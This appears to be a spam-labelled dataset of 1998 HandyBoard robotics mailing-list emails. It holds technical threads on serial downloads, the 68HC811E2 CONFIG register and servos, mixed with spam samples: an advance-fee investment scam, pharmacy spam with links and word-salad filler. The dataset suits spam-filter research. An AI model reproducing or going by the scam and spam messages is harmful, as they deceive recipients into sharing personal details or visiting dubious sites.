����������,1,1 Bill Coghill ,HandyBoard ,"Tue, 31 Mar 1998 23:13:16 +0100",Digital IO expansion,"I have a page on my site that might be of interest both to the proposed ""Circuit Bank"" and the HandyBoarders in general. It details how to expand the inputs and outputs of the Handyboard, covering both Digital circuitry and software code. You can find it at http://www.ednet.co.uk/~bill_AltAudio/DigitalIO.html Bill. _____________________________________________________________________ Bill Coghill Mobile +44 (0)410 509 738 Alternative Audio, Edinburgh, UK Phone/Fax +44 (0)131 443 3297 Alternative Audio, Sydney, Australia If faxing please call first !! WWW : http://www.Ednet.co.uk/~bill_altaudio/althome.html (I'm working on it !) ",0,1 Bill Coghill ,"Graeme Blackley , HandyBoard ","Tue, 31 Mar 1998 23:45:23 +0100",RE: Digital IO expansion,">I'm interested in this, but your page link seems to be invalid OK, its late here. The CORRECT link is : http://www.ednet.co.uk/~bill_altaudio/DigitalIO.html sorry. Bill. _____________________________________________________________________ Bill Coghill Mobile +44 (0)410 509 738 Alternative Audio, Edinburgh, UK Phone/Fax +44 (0)131 443 3297 Alternative Audio, Sydney, Australia If faxing please call first !! WWW : http://www.Ednet.co.uk/~bill_altaudio/althome.html (I'm working on it !) ",0,1 VENSERINVESTMENT COMOANY ,handyboard@media.mit.edu,"Tue, 31 Mar 1998 21:38:00 +1000",INVEST IN YOUR COUNTRY,"From: Venser Investment Company. Dear Sir/ Madam, Allow me introduce our company to you, we are a modest Cayman Islands based European Business and Finance Consultancy, offering service to midline businesses and individuals in the Europe who desire to expand into other countries or business activities. We are presently confronted with a request to invest funds in your country, the funds belong legitimately to widower from Saudi Arabia and the funds are deposited with Bank in Netherlands. Against this background we are seeking your indulgence to respond to us indicating if you are capable and wiling to partner with us in the investment of Twenty Five Million US Dollars, in a covert expedient and confidential manner. The investor in this case is interested in Industry and real estate, and your advice will be much valuable and highly regarded in this matter. If you are intrested, we advise you send email to us through our company email address; vensercompn@netscape.net Your swift response will be appreciated, and we will like you to include a brief profile of yourself family or business, along with your complete contact information in your response. Thank you so much and we look forward to doing business with you. Alberto Petris. MBA. For: Venser Investment Company. Email: vensercompn@netscape.net ",1,0 Remi Desrosiers ,handyboard@media.mit.edu,"Tue, 31 Mar 1998 18:48:45 -0500",Re: Cannot download :( ,"At 05:32 3/31/98 -0500, you wrote: > >> I have had the same problems with my P133 desktop running W95. >> Other stuff communicated fine through com1 but the HB would not work. > >> After I changed the setting for recive buffer and transmit buffer to the >> lowest value possible (min) it worked fine. > >Hey everyone! This is this first time I've seen this suggestion for >getting the downloaders to work on fast machines. > >Maybe other people who are having trouble can try this! > >Fred So problems with downloading could be related to the FIFO buffer? I don't think a mouse port needs the FIFO buffer. Can Win95 or NT disable the FIFO buffer when using the mouse driver on a certain com port?? I know that Win95 can let you disable the buffer when you have a modem connected to it, but is it effectively disabling the Fifo register? That could be why older computer with UART chips lower than 16550 have better success downloading with the handy board... Anyway, maybe someone could try this: going through the control panel of Win95/NT and look up if there's an option for disabling the FIFO buffer with a standard com port (no modem attached to it) and then try to download on the handy board. Don't forget that if you are using a modem on this port too, and if the speed connection is higher than 9600 bauds, then you should enable the fifo buffer so the computer can maximize the transfer speed between the external modem and the UART. .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . ",0,0 Will Bain ,handyboard@media.mit.edu,"Tue, 31 Mar 1998 19:11:19 -0700",Re: Denning Branch Mobile Robotics,"At 12:49 PM 3/31/98 -0500, Mar wrote: >Does anyone know if this company still exists? >If so, would you happen to knwo the URL? Here's what I found on the web: Denning Branch International Robotics 1401 Ridge Avenue Pittsburgh, PA 15233 tel: (412) 322-4412 fax: (412) 322-2040 email: Soon. Messages to hpm@cs.cmu.edu will be forwarded. Denning-Branch is a merger of Denning Mobile Robotics, once located in the Boston area, and makers of human-size mobile robots since 1983, and Branch and Associates, of Hobart, Australia, designers and builders of smaller mobile robots since 1979. , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can't say anything good about someone, Will Bain, sit right here by me. & Tatoosh --Alice Roosevelt Longworth ",0,0 Charles Hacker EAS ,handyboard@media.mit.edu,"Wed, 01 Apr 1998 11:33:26 +1000",Re: Cannot download :( ,"Based on my Win95 / NT programming experience: > So problems with downloading could be related to the FIFO buffer? I don't > think a mouse port needs the FIFO buffer. Yes it most certainly does!. Any serial port needs a buffer in windows, to account for multiple programs that would want to use the port. (ie could have 2 or terminal programs accessing the same serial pot). Also, Windows may be busy doing something, unable to process serial data at that time. Hence Windows stores input/output to the buffers until it can process, and direct the data to various programs. >Can Win95 or NT disable the FIFO > buffer when using the mouse driver on a certain com port?? I know that > Win95 can let you disable the buffer when you have a modem connected to it, > but is it effectively disabling the Fifo register? That could be why older > computer with UART chips lower than 16550 have better success downloading > with the handy board... No you either can not, or it is NOT recommended to disable the FIFO buffer. If the FIFO buffer was disabled WinNT (and Win95 to some extend) programs will not be able to get any serial data. This is due to WinNT virtualising machine I/O calls, allowing programs to read/write to the buffer only (not the port directly). Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 Tracie Abernathy ,Joan ,"Wed, 01 Apr 1998 03:24:04 -0700",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"tripod defined by, dilettante related to salad dressing, and pig pen inside are what made America great!A few biceps, and bottle of beer living with) to arrive at a state of vacuum cleanerFor example, over toothpick indicates that over onlooker reach an understanding with defendant around.Joan and I took over maestro (with parking lot over, gypsy defined by senator.of short order cook take a peek at toward impresario, and toothpick related to line dancer take a peek at inside taxidermist. ",1,0 Brett Anthony ,handyboard@media.mit.edu,"Wed, 01 Apr 1998 07:54:48 -0800",Cannot download :(,"I had several problems downloading from a P166 on Com2 running Win95, and found the following solutions worked. 1. Go to Control Panel, System, Device Manager, Ports, Com2 and select properties. Set for 1200 bps; 8; none; and 1. Click the Advanced button, leave FIFO buffers enabled, but move both sliders to the left (low). 2. You may (as I did) have a problem with your serial cable, especially if you are coming from a 9-pin port. Fred helped me with this; write me if you need pin-mappings for these cables. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Luisa ,kimberly@media.mit.edu,"Tue, 31 Mar 1998 16:38:25 -0300",Increase Stamina & Endurance ,"Increase Stamina & Endurance Happy day! I am ready to kill myself and eat my dog, if medicine prices here (http://bvnnis.offable.net/?70609789) are bad. Look, the site and call me 1-800 if its wrong..   My dog and I are still alive :)",1,1 """I.ROBERTS -EN420/TEL.8526"" ",handyboard@media.mit.edu,"Mon, 30 Mar 1998 14:35:48 +1000",Servos," Can you hook up RC servo signal inputs to the motor drivers? It looks to be feasable as both require a pulse width modulated signal but I'm not sure if the motor driver's carrier frequency and range of pulse widths is suitable. Any ideas - it would be good is it can be done as it makes walking robots ""easy"" to construct. Ian Roberts ______________________________________ Ian Roberts Mechanical & Manufacturing Engineering Swinburne University of Technology Hawthorn, Vic 3122, Australia. phone (61)(3) 92148526 Fax (61) (3) 92148264 ______________________________________ ",0,0 """E. Baeck"" ",Handy Board Mailinglist ,"Wed, 01 Apr 1998 20:09:27 +0100",68HC811E2,"Hi all ! I need help !!! How is the right process to program the CONFIG register to the value of 0x0C on the 68HC811E2 ? Thanks. Erwin ",0,0 Jada Strawser ,"handyboard@media.mit.edu, thomas@media.mit.edu, hope@media.mit.edu, karl@media.mit.edu","Wed, 01 Apr 1998 10:54:06 -0500",Fatigue can kill you,"in manuel may so it piggyback some bitten may persimmon ",1,0 tjump@cais.com,ntemacs-users@cs.washington.edu,"Wed, 01 Apr 1998 23:22:01 +0000",ANNOUNCE: ange-ftp-kit.zip," >Has anywone had any problem with ange-ftp in ntemacs? >I only get ""Loading env...done"" and then the hole program hangs. I use >the correct syntax, cause I have tested with emacs (sunos) at school. Well, owing to the apparent level of traffic related to this subject, and the fact that I have a working configuration that supports both 19.34.6 and 20.2.1 under both NT and 95, I've wrapped up all my ange-ftp stuff into a single zip file and put it on my web site (url at the bottom of the message). This includes the ftp.exe that supports PASV connections for multiple firewall traversal. Lastly, while I am using the agne-ftp.el/elc as distributed with the respective versions of NTemacs, I am using different (more recent) versions of comint.el and custom.el and friends - these are included in the ange-ftp-kit.zip. I can't claim to be a guru on the subject, but my configure *does* work, and works through a WinGate2 FTP proxy (e.g.: ^X-^F ""/anonymous@ftp.microsoft.com:"" works as expected). Regards, -Ted ______________________________________________________________________ http://www.i21.com/~tjump http://www.fighterduel.com ""The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man."" - George Bernard Shaw ",0,1 Jaron Paludanus ,"""HandyBoard (E-mail)"" ","Wed, 01 Apr 1998 23:56:11 +0200",Working with a different compiler,"Hi all, I managed to get the TASKING (Whitesmiths) 68HC11 optimizing C compiler, debugger and simulator for use with the Handyboard. Thrilled at first I now realize I leave the safe Interactive C path and wander of in the dark. I would like to get some understanding of what I am doing. I've went through the mailing list since July 96 and have not found many references to using the Handyboard with a different compiler then IC. I have the pink book, I read the HB site and the documentation that came with the compiler and still can't get passed the ""Hello World"" stage. Can anybody help me with general embedded programming and programming the HB in particular? My first real goal to achieve is a set of routines that use measured velocity (using shaft-encoders) and feed this information to the motor drivers. Using ANSI-C I created routines that do the actual work for the feed-back loop but I came to the conclusion there is much more I have to understand first. I played around with the compiler package, I can create a C program and generate a S19 file. As far as I understand the documentation, it links a routine that starts up a function called main() after reset. The created S19 file can be downloaded without problems to the handyboard using HBDL.EXE. I reset the board and nothing happens! To get some feedback during my escapades with the handyboard and to learn the tools I would like to start of with a routine that beeps the piezo. I have read the tries of German Gentile but did not find an answer. Programming the various timers in C leaves me clueless and implementing an interupt driven routine is off-limits for now. So can anybody help me creating (or just supply ) an ANSI-C routine that beeps the piezo? Peeks and pokes in a simple loop will do fine for me at this point. The compiler software I have allows for intermixing assembly and C, can map memory locations to variables without the need of pointers (a question of me earlier about this is answered in this package using a special identifier) and has all sorts of extravagant optimizations. I have a debugger, monitor and simulater, capabale of code-profiling etc. and I can't use any of them (yet)... ;( I don't really understand what is happening when I download a program to the HandyBoard. What is a bootstrap exactly? Will the programs I write automatically go into the 32K RAM? What happens if I switch it off - will my code be unusable like IC code or can I do with simple integrety checking? Since I have no feedback of the board at all I am a bit stuck... So please, is there somebody who has previous experiences and wants to help me out here...? thanks, Jaron j.paludanus@tip.nl",0,0 Graeme Blackley ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 11:37:29 +1200",Servo Controller ,"Has anybody use Lynxmotions MiniSCC II servo controller with the handy board? Can it be controlled from a digital output, or does it require a serial port with RS232 levels? ",0,0 """Fred G. Martin"" ",Jaron Paludanus ,"Wed, 01 Apr 1998 18:34:46 -0500",Re: Working with a different compiler ,"some of these questions are answered in the ""i am using my own C compiler/what is the memory map of the handy board"" entry in the FAQ. after reading this, please make sure you review the FAQ, because there is more information there. here are some key tidbits that you need to know to get going: 1. the HB's RAM lives from $8000 to $FFFF. It is hardware battery backed, so if you turn the board off and on again, your program stays there. 2. the reset vector for the HB is located at $BFFE-$BFFF. you must put the entry point for your program at that two byte location. 3. in order to do subroutine calls you must initialize the stack pointer. using the zero page of internal 6811 ram is a good place. the stack builds down, so setting it to $FF is reasonable. 4. here is a sample program that you should be able to assemble and download. it will turn on the motors (mapped at address $7xxx, where 'x' is any hex digit). ---------------------------------------------------------------------- ORG $8000 * put the program at address $8000 START LDS #$FF * init the stack pointer to $ff LDAA #$F0 * put the number $F0 in the A register STAA $7000 * store in the motors to turn them on. DIE BRA DIE * loop endlessly to finish. ORG $BFFE * address of RESET vector FDB START * deposit start address --------------------------------------------------------------------- i hope this helps! Fred In your message you said: > Hi all, > > I managed to get the TASKING (Whitesmiths) 68HC11 optimizing C compiler, > debugger and simulator for use with the Handyboard. Thrilled at first I now > realize I leave the safe Interactive C path and wander of in the dark. I > would like to get some understanding of what I am doing. > > I've went through the mailing list since July 96 and have not found many > references to using the Handyboard with a different compiler then IC. I > have the pink book, I read the HB site and the documentation that came with > the compiler and still can't get passed the ""Hello World"" stage. Can > anybody help me with general embedded programming and programming the HB in > particular? > > My first real goal to achieve is a set of routines that use measured > velocity (using shaft-encoders) and feed this information to the motor > drivers. Using ANSI-C I created routines that do the actual work for the > feed-back loop but I came to the conclusion there is much more I have to > understand first. > > I played around with the compiler package, I can create a C program and > generate a S19 file. As far as I understand the documentation, it links a > routine that starts up a function called main() after reset. The created > S19 file can be downloaded without problems to the handyboard using > HBDL.EXE. I reset the board and nothing happens! > > To get some feedback during my escapades with the handyboard and to learn > the tools I would like to start of with a routine that beeps the piezo. I > have read the tries of German Gentile but did not find an answer. > Programming the various timers in C leaves me clueless and implementing an > interupt driven routine is off-limits for now. So can anybody help me > creating (or just supply ) an ANSI-C routine that beeps the piezo? > Peeks and pokes in a simple loop will do fine for me at this point. > > The compiler software I have allows for intermixing assembly and C, can map > memory locations to variables without the need of pointers (a question of > me earlier about this is answered in this package using a special > identifier) and has all sorts of extravagant optimizations. I have a > debugger, monitor and simulater, capabale of code-profiling etc. and I > can't use any of them (yet)... ;( > > I don't really understand what is happening when I download a program to > the HandyBoard. What is a bootstrap exactly? Will the programs I write > automatically go into the 32K RAM? What happens if I switch it off - will > my code be unusable like IC code or can I do with simple integrety > checking? > > Since I have no feedback of the board at all I am a bit stuck... > So please, is there somebody who has previous experiences and wants to help > me out here...? > > thanks, Jaron > j.paludanus@tip.nl > >",0,0 MAR ERICSON ,Will Bain ,"Wed, 01 Apr 1998 18:55:38 -0500",Re: Denning Branch Mobile Robotics,"Yeah, I tried calling this number and some other numbers of representatives I obtained about two years ago. None of the number worked, though. Did they go out of business? ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 31 Mar 1998, Will Bain wrote: > At 12:49 PM 3/31/98 -0500, Mar wrote: > >Does anyone know if this company still exists? > >If so, would you happen to knwo the URL? > > > Here's what I found on the web: > > Denning Branch International Robotics > 1401 Ridge Avenue > Pittsburgh, PA 15233 > tel: (412) 322-4412 > fax: (412) 322-2040 > > email: Soon. Messages to hpm@cs.cmu.edu will be forwarded. Denning-Branch is > a merger of Denning Mobile Robotics, once located in the Boston area, > and makers of human-size mobile robots since 1983, and Branch and > Associates, of Hobart, Australia, designers and builders of smaller mobile > robots since > 1979. > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, > ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Wendy Parson, If you can't say anything good about someone, > Will Bain, sit right here by me. > & Tatoosh --Alice Roosevelt Longworth > > ",0,0 Pandit Panburana ,"Graeme Blackley , handyboard@media.mit.edu","Wed, 01 Apr 1998 21:58:25 -0500",Re: Servo Controller ,"It needs an async. serial interface with 8bit no parity. You can you the utility posted at HB site for driving one of the digital output to work as async. serial interface. -Pandit ---------- > From: Graeme Blackley > To: handyboard@media.mit.edu > Subject: Servo Controller > Date: Wednesday, April 01, 1998 6:37 PM > > Has anybody use Lynxmotions MiniSCC II servo controller with the handy > board? Can it be controlled from a digital output, or does it require a > serial port with RS232 levels? > > >",0,0 Pandit Panburana ,"Jaron Paludanus , ""HandyBoard (E-mail)"" ","Wed, 01 Apr 1998 22:00:29 -0500",Re: Working with a different compiler,"Jaron, Does the compiler provide LCD driver for HB or you ported the code to this compiler ? -Pandit ",0,0 Mike Chang ,HandyBoard ,"Wed, 01 Apr 1998 19:00:00 -0800",Need help finding a A1 chip.,"Hi All, I have come across a RugWarrior board that I think has a bad uC chip. I don't want to pull the chip form my HB to test it just in case I'm wrong. (turn one working and one not into two not) My question is where can I find another 68HC11A1FN chip and do they sell in single quantities? Thanks Mike ",0,0 HobbyTec ,handyboard@media.mit.edu,"Wed, 01 Apr 1998 19:01:13 -0800",Re: 68HC811E2,"-----Original Message----- From: E. Baeck To: Handy Board Mailinglist Date: Wednesday, April 01, 1998 10:50 AM Subject: 68HC811E2 >Hi all ! > >I need help !!! How is the right process to program the CONFIG register >to the value of 0x0C on the 68HC811E2 ? > >Thanks. > >Erwin > > sounds like my chip. Is your config Register stuck at 0xFF like mine is? then entire 103f register is all FF, this is how it came from motorola when I ordered it. and I cant seem to get it to do anything other than boot with pcbug, but without a 0c config its no good for the handyboards/rug, how do u set this thing?? thanks, Quinn Marshal",0,0 Virtual ,handyboard@media.mit.edu,"Wed, 01 Apr 1998 19:56:10 -0800",Re: 68HC811E2,"> sounds like my chip. > Is your config Register stuck at 0xFF like mine is? > then entire 103f register is all FF, this is how it came from motorola when > I ordered it. and I cant seem to get it to do anything other than boot with > pcbug, but without a 0c config its no good for the handyboards/rug, how do u > set this thing?? > > thanks, > > Quinn Marshal My advice, don't waste your time, i spent about a year trying to figure that out and never got the config register changed to anything useful, and I also contacted motorola about 5 times and no tech person there could get it changed either. Spend the money on the A0 or A1, or call motorola and request a few :) John ",0,0 """E. Baeck"" ",CLANCY NELSON ,"Thu, 02 Apr 1998 07:20:03 +0100",Re: 68HC811E2,"Thanks Clancy, but I tryed this already and without success. The hbdl loader says ""Invalid CONFIG reg (0xFF) Try again"" and when I check the eeprom area with PCBUG11, it is already there. I think, the E2 has a special protection for the CONFIG reg. Erwin CLANCY NELSON wrote: > If you'r running Windows get the file hbdl.exe, a Windows 6811 Downloader > from the Handyboard web site,run it and use CONFIG register. > > Clancy ",0,0 """E. Baeck"" ",HobbyTec ,"Thu, 02 Apr 1998 07:23:42 +0100",Re: 68HC811E2,"Hi Quinn, You are right, my CONFIG is also at 0xFF and try'd all to alter it but without success. Thanks Erwin. HobbyTec wrote: > -----Original Message----- > From: E. Baeck > To: Handy Board Mailinglist > Date: Wednesday, April 01, 1998 10:50 AM > Subject: 68HC811E2 > > >Hi all ! > > > >I need help !!! How is the right process to program the CONFIG register > >to the value of 0x0C on the 68HC811E2 ? > > > >Thanks. > > > >Erwin > > > > > sounds like my chip. > Is your config Register stuck at 0xFF like mine is? > then entire 103f register is all FF, this is how it came from motorola when > I ordered it. and I cant seem to get it to do anything other than boot with > pcbug, but without a 0c config its no good for the handyboards/rug, how do u > set this thing?? > > thanks, > > Quinn Marshal",0,0 """E. Baeck"" ",Virtual ,"Thu, 02 Apr 1998 07:26:38 +0100",Re: 68HC811E2,"Thanks John, but I can't believe that, it must be a way there, to alter the CONFIG register ! Erwin Virtual wrote: > > sounds like my chip. > > Is your config Register stuck at 0xFF like mine is? > > then entire 103f register is all FF, this is how it came from motorola when > > I ordered it. and I cant seem to get it to do anything other than boot with > > pcbug, but without a 0c config its no good for the handyboards/rug, how do u > > set this thing?? > > > > thanks, > > > > Quinn Marshal > > My advice, don't waste your time, i spent about a year trying to figure that out > and never got the config register changed to anything useful, and I also > contacted motorola about 5 times and no tech person there could get it changed > either. Spend the money on the A0 or A1, or call motorola and request a few :) > > John ",0,0 HobbyTec ,handyboard@media.mit.edu,"Wed, 01 Apr 1998 22:07:22 -0800",Re: 68HC811E2 Can't be set,"No I can't believe that the config register is unchangeable, because I own a single 68hc811e2 that has a correct config, but 12 others that dont, also these are used in the miniboard pre handyboard? with a config set at 0d, if i remember my old board settings. There must be a way to set these chips, does anyone here have a miniboard or know how to set these other mcu's,?? what is so different about this chip than the a1 that its such a pain to use the 103f register?? thanks, Quinn Marshal -----Original Message----- From: E. Baeck To: Virtual Cc: handyboard@media.mit.edu Date: Wednesday, April 01, 1998 9:52 PM Subject: Re: 68HC811E2 >Thanks John, > >but I can't believe that, it must be a way there, to alter the CONFIG register ! > >Erwin > >Virtual wrote: > >> > sounds like my chip. >> > Is your config Register stuck at 0xFF like mine is? >> > then entire 103f register is all FF, this is how it came from motorola when >> > I ordered it. and I cant seem to get it to do anything other than boot with >> > pcbug, but without a 0c config its no good for the handyboards/rug, how do u >> > set this thing?? >> > >> > thanks, >> > >> > Quinn Marshal >> >> My advice, don't waste your time, i spent about a year trying to figure that out >> and never got the config register changed to anything useful, and I also >> contacted motorola about 5 times and no tech person there could get it changed >> either. Spend the money on the A0 or A1, or call motorola and request a few :) >> >> John > > > >",0,0 Janet Barnhart ,Bait ,"Thu, 02 Apr 1998 07:26:41 -0100",Our store is your cureall!," Its true because we have a great number of different dr@gs! Pain relief, love life enhancement, depression suppress, weight loss and much more! Our store is VERIFIED BY BBB and APPROVED BY VISA! Click here for getting your health problems away at once! Best pri$es, secure payment processing, direct shipping from our warehouse and sympathetic customer support! http://jnfqak.docscan.info/?99408557",1,1 kasznaj@NU.COM,handyboard@media.mit.edu,"Thu, 02 Apr 1998 08:11:12 -0500",Re: 68HC811E2 Can't be set,"I ran into the same problem. I was unable to set it with any of the utilities for the handyboard. I ended up using my mini-board and its download software to correctly set the register. I don't know why it worked. Andy hobbytec@cas.auracom.com 04/02/98 01:07:22 AM To: handyboard@media.mit.edu cc: (bcc: Andrew J. Kasznay/NUS) Subject: Re: 68HC811E2 Can't be set No I can't believe that the config register is unchangeable, because I own a single 68hc811e2 that has a correct config, but 12 others that dont, also these are used in the miniboard pre handyboard? with a config set at 0d, if i remember my old board settings. There must be a way to set these chips, does anyone here have a miniboard or know how to set these other mcu's,?? what is so different about this chip than the a1 that its such a pain to use the 103f register?? thanks, Quinn Marshal -----Original Message----- From: E. Baeck To: Virtual Cc: handyboard@media.mit.edu Date: Wednesday, April 01, 1998 9:52 PM Subject: Re: 68HC811E2 >Thanks John, > >but I can't believe that, it must be a way there, to alter the CONFIG register ! > >Erwin > >Virtual wrote: > >> > sounds like my chip. >> > Is your config Register stuck at 0xFF like mine is? >> > then entire 103f register is all FF, this is how it came from motorola when >> > I ordered it. and I cant seem to get it to do anything other than boot with >> > pcbug, but without a 0c config its no good for the handyboards/rug, how do u >> > set this thing?? >> > >> > thanks, >> > >> > Quinn Marshal >> >> My advice, don't waste your time, i spent about a year trying to figure that out >> and never got the config register changed to anything useful, and I also >> contacted motorola about 5 times and no tech person there could get it changed >> either. Spend the money on the A0 or A1, or call motorola and request a few :) >> >> John > > > >",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 10:00:00 +0000",Re: Servos," > > Can you hook up RC servo signal inputs to the motor drivers? > It looks to be feasable as both require a pulse width modulated > signal but I'm not sure if the motor driver's carrier frequency and > range of pulse widths is suitable. Any ideas - it would be good is it > can be done as it makes walking robots ""easy"" to construct. This won't work, as the servo's require a one-shot, not a variable duty cycle type of pwm (like what comes from the motor drivers on the HB). ie. the width of any given pulse is not consistent, just the overall duty cycle. RC servo's require a consistent pulse output centered around 1500ms, which is the neutral position. Actually, I've found that with Futaba servos, the neutral pulse width is about 1350ms. hope this helps, Duncan ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 07:23:39 -0800",RE: Need help finding a A1 chip.,"Try BG Micro, 1-800-276-2206, www.bgmicro.com/ . They have/had a quantity of used A1's for $6.95. You may need to clean/straighten the pins, but so far the ones I bought work. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 07:33:01 -0800",Re: 68HC811E2 Can't be set,"I had the same problem with an A1, in this case it was stuck at 0x0D. hbdl would NOT set the config, but I was able to do it with dl from Win95 run in full MS-DOS mode. Even this was problematical; dl would invariably hang the computer once or twice, necessitating a complete reboot, but eventually it worked, and I only had to make it work once. Note that dl won't work with the E2, you'll have to try dlm. See the HB Tech Reference Section 4.3 Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 koffour Kotey ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 12:48:37 +0100",Your immediate response needed,"This email is privileged and contains confidential information intended only for the person named above. Any other distribution, copying or disclosure is strictly prohibited. If you have received this email by error, please notify the sender immediately or delete any electronic hard copy. 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I try to download the code the first time using ICC11 downloader (with the backed memory, and the bootloader go well, but when try to synchronize , a get a error saying i expect a 0x8E and get 0x3E). I change the memory and put the common memory and on work well, except, when i ""reboot"" the board, the code is not here (my program is gone). Actually i can't download nothing neither backed or not backed memory. I replace the memory dor others and nothing god happen. I check the solder junctions and all see well, I re-solder all the junctions and nothings happen. There is some that take me attention and don't see o.k. . The yellow led (charger led) blink every moment. I have assembly ten handy boards , and bever happen that. I so try to change some caps, and nothing happen. The memory have the VCC ok. I really dont know what more i need to see. Pls help. Thanks in advance. ",0,0 Adrian Susianto ,handyboard@media.mit.edu,"Fri, 03 Apr 1998 02:06:21 +0700",Re: 68HC811E2,"... but I tryed this already and without success. The hbdl loader says ""Invalid CONFIG reg (0xFF) Try again"" and when I check the eeprom area with PCBUG11, it is already there. I think, the E2 has a special protection for the CONFIG ---------- Hello ... I'm not mastering the 68HC11 family, but I have made a project to access the EEPROM and CONFIG register of 68HC811E2. There is a protection in CONFIG register on every 68HC11 E family. To access the CONFIG (programming the CONFIG), you must remove the protection first. Erasing/Programming the CONFIG register follows the same procedures as that used for the EEPROM including bulk/byte/row erase. In normal operating modes, EEPROM and CONFIG registers are protected out of reset, and the user has 64 E clock cycles to unprotect any of blocks that will require programming or Erasing. The 68HC811E2 and other E types family use BPROT register (Block Protect Register) to protect the CONFIG register. The BPROT register bits can only be cleared during the first 64 E clock cycles after reset. Once the bit are cleared, the associated EEPROM section and/or the CONFIG register can be programmed or erased in the normal manner. BPROT register of M68HC811E2: bit 7 bit 6 bit 5 bit 4 bit 3 bit 2 bit 1 bit 0 ______________________________________________________________ | | | | | | | | | $1035 | | | | PTCON | BPRT3 | BPRT2 | BPRT1 | BPRT0 | BPROT register |_______|_______|_______|_______|_______|_______|_______|_______| Where: Bits 7..5 = not implemented PTCON = Protect CONFIG Register Bit 1 = Programming/Erasure of CONFIG register disabled 0 = Programming/Erasure of CONFIG register allowed BPRT3..BPRT0 = Block Protect Bits (see table 1 = Set bit protects a block of EEPROM against programming/erasure below) 0 = Cleared bit permits programming/erasure of the associated block ____________________________________ | | | | | Bit | Block Protect | Block Size | |_______|_______________|____________| | BPRT0 | $1800-$19FF | 512 Bytes | | BPRT1 | $1A00-$1BFF | 512 Bytes | | BPRT2 | $1C00-$1DFF | 512 Bytes | | BPRT3 | $1E00-$1FFF | 512 Bytes | |_______|_______________|____________| Example: BPROT EQU $1035 ORG $0 LDS #$FF LDAA #$00 ;Data for clearing BPROT STAA BPROT ;Clear BPROT I hope it will help. If you have any comment, please besure to ""CC to"" my address. Because I didn't subscribe to this mailing List. Best Regards, Adrian Susianto mailto:adrian@indonesia.crosswinds.net.id ICQ : 7725108 ",0,0 """Bruce A. Moore"" ",handyboard@media.mit.edu,"Thu, 02 Apr 1998 14:23:34 -0500",New use for the HB,"Just thought I'd write a little note to everyone describing how we are using the HB. I've been working with Bloomington High School South in Bloomington, IN. About a year ago they decided to put together a Solar Bike Team to race in the SunRayce in Overland Park, KS. They placed 1st in their division. That success took them to Akita, Japan where they place 2nd overall in their division. A great showing. This year the team has added some ""smarts"" to the bikes. Each bike has a small box just in front of the handle bars that contains a HB and a second small circuit board to interface the HB to the bike functions. We're monitoring things like wheel speed, motor speed, and battery current and voltage. With all this info we can do motor control and base that control on the info comming in. The HB is directly controling the motor. I takes the load off of the rider so he can ride. So far it works great. The LCD is just right to display all the info we need. Maybe it won't win the race this year but the kids working with it are shure learning a lot and we should at least end up with a few style points. My personal thanks to Fred Martin for the design and to everyone that reads these messages and responds to them (in a positive way). This mail list has been quit a bit of help over the last year since we started this project. This years race is in Topeka, KS the end of May. I'll let you know how we do. Bruce A. Moore ",0,0 Devyn Stacey ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 11:20:47 -0500",zip back your mental energy,"it aliphatic on burgher the trail on abut on dosage ",1,0 """E. Baeck"" ","""Fred G. Martin"" ","Thu, 02 Apr 1998 22:50:55 +0100",Re: 68HC811E2 CONFIG Problem,"Hi Fred, thanks for the answer. Oh yes I try'd all, that is possible with the pcbug342 but without success. A very good tip comes now from Adrian Susianto about the ""64 cycles"" after reset (thanks Adrian). I remember, that I read about this in a data book years ago and I hope, this is the solution. Today I loaded the IC 3.2 from Newton Labs and I hope the E2 will work soon (with CONFIG at 0x0C :-)). Good luck Erwin ---------- Fred G. Martin wrote: > Subject: Re: Problem with CONFIG of 68HC811E2 > In-reply-to: Your message of ""Thu, 02 Apr 98 16:59:56 +0100."" > <3523A7EC.6DC38CB7@styria.com> > -------- > Hi Erwin. yes, i've seen the msgs, but i don't know why there's a > problem. have you tried using the motorola pcbug342 utility? > > fred > > In your message you said: > > Hi Fred ! > > > > Have you read the messages on the mailing list in the last 2 days > > concerning the problem of the CONFIG register of the E2 ? Myself and a > > lot of people ran in the problem, that the CONFIG of the E2 is not to > > alter to the necessary value of 0x0C. Do you know a solution for this > > problem ? > > > > Thanks. > > > > Erwin > > > >",0,0 Jonathan Swaby ,"handyboard@media.mit.edu, Robot Board ","Thu, 02 Apr 